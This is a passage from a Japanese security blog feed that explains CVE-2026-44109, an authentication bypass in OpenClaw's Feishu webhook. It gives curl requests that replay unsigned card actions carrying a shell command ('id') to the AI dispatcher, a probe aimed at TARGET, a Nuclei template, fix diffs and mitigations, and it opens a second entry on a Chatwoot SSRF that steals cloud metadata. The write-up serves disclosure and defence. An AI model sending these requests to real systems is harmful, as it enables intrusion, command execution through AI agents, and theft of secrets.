&lt;span class="w"&gt;  &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:4000/feishu/events&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"content-type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;      "schema": "2.0",&lt;/span&gt;
&lt;span class="s1"&gt;      "header": {&lt;/span&gt;
&lt;span class="s1"&gt;        "event_id": "replay-'&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s1"&gt;'",&lt;/span&gt;
&lt;span class="s1"&gt;        "event_type": "card.action.trigger",&lt;/span&gt;
&lt;span class="s1"&gt;        "token": "",&lt;/span&gt;
&lt;span class="s1"&gt;        "app_id": "cli_a976c9dbd3f81e15",&lt;/span&gt;
&lt;span class="s1"&gt;        "tenant_key": "1a99fdd93ec61944"&lt;/span&gt;
&lt;span class="s1"&gt;      },&lt;/span&gt;
&lt;span class="s1"&gt;      "event": {&lt;/span&gt;
&lt;span class="s1"&gt;        "operator": {&lt;/span&gt;
&lt;span class="s1"&gt;          "open_id": "ou_641dc8f64e14dbbef3a2d088ed0d3902"&lt;/span&gt;
&lt;span class="s1"&gt;        },&lt;/span&gt;
&lt;span class="s1"&gt;        "token": "",&lt;/span&gt;
&lt;span class="s1"&gt;        "action": {&lt;/span&gt;
&lt;span class="s1"&gt;          "tag": "button",&lt;/span&gt;
&lt;span class="s1"&gt;          "value": { "cmd": "id" }&lt;/span&gt;
&lt;span class="s1"&gt;        }&lt;/span&gt;
&lt;span class="s1"&gt;      }&lt;/span&gt;
&lt;span class="s1"&gt;    }'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;" &amp;rarr; replay &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; sent"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;5回すべてが&lt;code&gt;HTTP 200&lt;/code&gt;を返します。空白のトークンは&lt;code&gt;processedCardActionTokens&lt;/code&gt;に一切保存されないため、重複排除システムは完全にバイパスされます。いずれの呼び出しも、リプレイ保護のないまま新たなAIディスパッチを発生させます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="攻撃の全体フロー"&gt;攻撃の全体フロー&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="CVE-2026-44109の攻撃フロー図：OpenClaw FeishuのWebhookへの認証なしのPOSTが署名チェックをバイパスしてリモートコード実行を発生させ、その出力が実際のFeishu DMに配信される様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-05-07_cve-2026-44109/flow_attack.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="なぜcvss 9.2と評価されるのか"&gt;なぜCVSS 9.2と評価されるのか&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVSS構成要素&lt;/th&gt;
&lt;th style="text-align: left;"&gt;値&lt;/th&gt;
&lt;th style="text-align: left;"&gt;理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;攻撃元区分&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ネットワーク&lt;/td&gt;
&lt;td style="text-align: left;"&gt;WebhookポートはHTTPであり、あらゆるネットワークから到達可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;攻撃条件の複雑さ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;低&lt;/td&gt;
&lt;td style="text-align: left;"&gt;細工したPOST1回のみで、タイミングや競合状態は不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;必要な特権レベル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証は一切不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;ユーザー関与&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;完全に自動化されており、被害者のクリックは不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;スコープ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;変更あり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;攻撃者はOpenClawプロセスを超えてリソースに影響を及ぼせる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;機密性&lt;/td&gt;
&lt;td style="text-align: left;"&gt;高&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;、環境変数、シークレットが読み取り可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;完全性&lt;/td&gt;
&lt;td style="text-align: left;"&gt;低&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AIディスパッチ経由でコマンドを注入可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;可用性&lt;/td&gt;
&lt;td style="text-align: left;"&gt;低&lt;/td&gt;
&lt;td style="text-align: left;"&gt;サービスの停止が起こり得る&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="修正:コミットc8003f1b"&gt;修正：コミット&lt;code&gt;c8003f1b&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;2026年4月14日にリリース。OpenClaw &lt;strong&gt;v2026.4.15&lt;/strong&gt;として公開されました。&lt;/p&gt;
&lt;p&gt;修正は最小限で、2つの真偽値の戻り値の反転と1つの起動時ガードから成ります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;monitor.transport.ts&lt;/code&gt;&lt;/strong&gt;の&lt;code&gt;isFeishuWebhookSignatureValid&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt; const encryptKey = params.encryptKey?.trim();
&lt;span class="w"&gt; &lt;/span&gt; if (!encryptKey) {
&lt;span class="gd"&gt;-   return true;   // fail-open: no key = auth passes&lt;/span&gt;
&lt;span class="gi"&gt;+   return false;  // fail-closed: no key = request rejected&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;monitor.transport.ts&lt;/code&gt;&lt;/strong&gt;の&lt;code&gt;monitorWebhook&lt;/code&gt;の起動時：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gi"&gt;+ const encryptKey = account.encryptKey?.trim();&lt;/span&gt;
&lt;span class="gi"&gt;+ if (!encryptKey) {&lt;/span&gt;
&lt;span class="gi"&gt;+   throw new Error(`Feishu account "${accountId}" webhook mode requires encryptKey`);&lt;/span&gt;
&lt;span class="gi"&gt;+ }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;card-action.ts&lt;/code&gt;&lt;/strong&gt;の&lt;code&gt;beginFeishuCardActionToken&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt; const normalizedToken = params.token.trim();
&lt;span class="w"&gt; &lt;/span&gt; if (!normalizedToken) {
&lt;span class="gd"&gt;-   return true;   // blank token "claims" but is never stored &amp;rarr; infinite replay&lt;/span&gt;
&lt;span class="gi"&gt;+   return false;  // blank token rejected before dispatch&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;card-action.ts&lt;/code&gt;&lt;/strong&gt;の&lt;code&gt;handleFeishuCardAction&lt;/code&gt;、早期ガードの追加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gi"&gt;+ if (!event.token.trim()) {&lt;/span&gt;
&lt;span class="gi"&gt;+   log(`feishu[${account.accountId}]: rejected card action from ${event.operator.open_id}: missing token`);&lt;/span&gt;
&lt;span class="gi"&gt;+   return;&lt;/span&gt;
&lt;span class="gi"&gt;+ }&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt; const decoded = decodeFeishuCardAction({ event });
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;差分はわずか6行です。この脆弱性が存在したのは、鍵がない場合にフェイルオープンが暗黙のデフォルトになっていたためです。認証されていないリクエストを許可すると誰かが明示的に決めたわけではなく、鍵のチェックが短絡評価された際に、コードがたまたま&lt;code&gt;true&lt;/code&gt;を返していたにすぎません。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="タイムライン"&gt;タイムライン&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;日付&lt;/th&gt;
&lt;th style="text-align: left;"&gt;出来事&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-03-12&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コミット&lt;code&gt;7844bc89&lt;/code&gt;：Webhookモードで&lt;code&gt;encryptKey&lt;/code&gt;を必須とするよう構成スキーマを更新（起動時の部分的な緩和にとどまり、実行時のバグは残存）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-04-09&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コミット&lt;code&gt;8be3a446&lt;/code&gt;：Webhookサーバーに認証前の本文ガードを追加&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;2026-04-14&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;コミット&lt;code&gt;c8003f1b&lt;/code&gt;：両方のフェイルオープンの反転を修正（&lt;code&gt;return true&lt;/code&gt; &amp;rarr; &lt;code&gt;return false&lt;/code&gt;）&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-04-15&lt;/td&gt;
&lt;td style="text-align: left;"&gt;修正を含むv2026.4.15をリリース&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2026-05-06&lt;/td&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-44109を公開&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="nucleiによる検出"&gt;Nucleiによる検出&lt;/h2&gt;
&lt;p&gt;Nucleiテンプレートは、ゲートウェイのヘルスエンドポイントからバージョン文字列を抽出することで、脆弱なOpenClawインスタンスを特定できます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;CVE-2026-44109&lt;/span&gt;

&lt;span class="nt"&gt;info&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;OpenClaw &amp;lt; 2026.4.15 - Feishu Webhook Authentication Bypass&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;soop&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;severity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;critical&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;OpenClaw before 2026.4.15 is vulnerable to an authentication bypass in its Feishu&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;webhook handler. isFeishuWebhookSignatureValid() returns true when encryptKey is&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;missing, allowing unauthenticated POST requests to reach the command dispatcher.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;classification&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cvss-metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cvss-score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;9.2&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cve-id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;CVE-2026-44109&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cwe-id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;CWE-287&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;cve,cve2026,openclaw,feishu,auth-bypass,rce,webhook&lt;/span&gt;

&lt;span class="nt"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;POST&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"{{BaseURL}}/feishu/events"&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;application/json&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;{"schema":"2.0","header":{"event_id":"nuclei-cve-2026-44109","event_type":"url_verification","token":"","app_id":"nuclei-probe"},"challenge":"nuclei-cve-2026-44109-challenge"}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;matchers-condition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;and&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;matchers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;status&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;200&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;status&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;401&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;negative&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;extractors&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;regex&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;version&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;part&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;header&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"openclaw[/v]([0-9.]+)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="脆弱なOpenClaw 2026.3.11インスタンスに対するCVE-2026-44109のクリティカルな検出結果を示すNucleiスキャンの出力（3.59msで1件の一致を検出）" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-05-07_cve-2026-44109/nuclei_detection.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;認証バイパスを直接テストするには、次のプローブでWebhookが署名なしのリクエストを受け入れることを確認します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# A 200 response to an unsigned POST = vulnerable&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;http://TARGET:4000/feishu/events&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"content-type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"schema":"2.0","header":{"event_id":"probe","event_type":"url_verification","token":""}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;脆弱なインスタンスは&lt;code&gt;200&lt;/code&gt;を返します。パッチ適用済みのインスタンスは、接続を完全に拒否する（&lt;code&gt;encryptKey&lt;/code&gt;がなければWebhookサーバーは起動しません）か、リバースプロキシが前段にある場合は&lt;code&gt;401&lt;/code&gt;を返します。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="緩和策"&gt;緩和策&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ただちにアップグレード&lt;/strong&gt;：OpenClaw v2026.4.15以降にしてください。&lt;/li&gt;
&lt;li&gt;すぐにアップグレードできない場合は、Webhookポートの前段にリバースプロキシ（nginx/Caddy）を構成し、リクエストを転送する前に&lt;code&gt;x-lark-signature&lt;/code&gt;ヘッダーを検証してください。&lt;/li&gt;
&lt;li&gt;Feishu Webhookの設定では、必ず&lt;code&gt;encryptKey&lt;/code&gt;を構成してください。&lt;code&gt;openssl rand -hex 32&lt;/code&gt;で生成し、Feishu開発者コンソールのアプリのイベントサブスクリプション設定に登録します。&lt;/li&gt;
&lt;li&gt;Webhookポートへのネットワークアクセスを制限してください（&lt;code&gt;webhookHost: "127.0.0.1"&lt;/code&gt;が正しいデフォルトです。リバースプロキシなしで&lt;code&gt;0.0.0.0&lt;/code&gt;にバインドしてはいけません）。&lt;/li&gt;
&lt;li&gt;OpenClawのツール構成を監査してください。bash/execツールが有効になっていると、WebhookのバイパスがそのままダイレクトなRCEになります。自社のユースケースで不要なツールは無効化してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;修正コミット c8003f1b&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/openclaw/openclaw/commit/c8003f1b"&gt;https://github.com/openclaw/openclaw/commit/c8003f1b&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;OpenClaw v2026.4.15 リリース&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/openclaw/openclaw/releases/tag/v2026.4.15"&gt;https://github.com/openclaw/openclaw/releases/tag/v2026.4.15&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NVD CVE-2026-44109&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-44109"&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-44109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-287：不適切な認証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/287.html"&gt;https://cwe.mitre.org/data/definitions/287.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-294：キャプチャリプレイによる認証バイパス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/294.html"&gt;https://cwe.mitre.org/data/definitions/294.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Feishu Webhookセキュリティドキュメント&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://open.feishu.cn/document/server-docs/event-subscription-guide/event-subscription-configure-/request-url-configuration-case"&gt;https://open.feishu.cn/document/server-docs/event-subscription-guide/event-subscription-configure-/request-url-configuration-case&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="CVE"/><category term="RCE"/><category term="OpenClaw"/><category term="authentication-bypass"/><category term="cve-news"/></entry><entry><title>CVE-2026-5205：Chatwootのアップロード機能に存在するクリティカルなSSRF</title><link href="https://blog.ostorlab.co/ja/chatwoot-ssrf-upload-cloud-credential-theft-2026.html" rel="alternate"/><published>2026-04-29T14:00:00+02:00</published><updated>2026-04-29T14:00:00+02:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-04-29:/ja/chatwoot-ssrf-upload-cloud-credential-theft-2026.html</id><summary type="html">&lt;p&gt;Chatwootのアップロードエンドポイント（≤ v4.12.1）に存在するクリティカルなサーバーサイドリクエストフォージェリ（SSRF）脆弱性の詳細解説。/api/v1/accounts/:id/uploadエンドポイントはexternal_urlパラメーターをスキームチェックのみで検証しており、認証済みのエージェントであれば誰でもサーバーに任意の内部URLを取得させることができます。レスポンスボディ全体がActiveStorageのブロブを通じてインバンドで返されるため、アップロードエンドポイントが完全な読み取りプロキシと化します。DigitalOceanのドロップレット上での実証により、ドロップレットID、ホスト名、SSH公開鍵、完全なメタデータバンドルを含むクラウドメタデータのインバンド窃取が確認されました。&lt;strong&gt;v4.13.0&lt;/strong&gt;で修正済み。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2026-5205&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Chatwoot：&lt;code&gt;/api/v1/accounts/:id/upload&lt;/code&gt;に存在するクリティカルなSSRF&lt;/p&gt;
&lt;p&gt;2026年3月26日 &amp;middot; CWE-918 &amp;middot; Chatwoot &amp;le; v4.12.1&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;項目&lt;/th&gt;
&lt;th style="text-align: left;"&gt;詳細&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;弱点&lt;/td&gt;
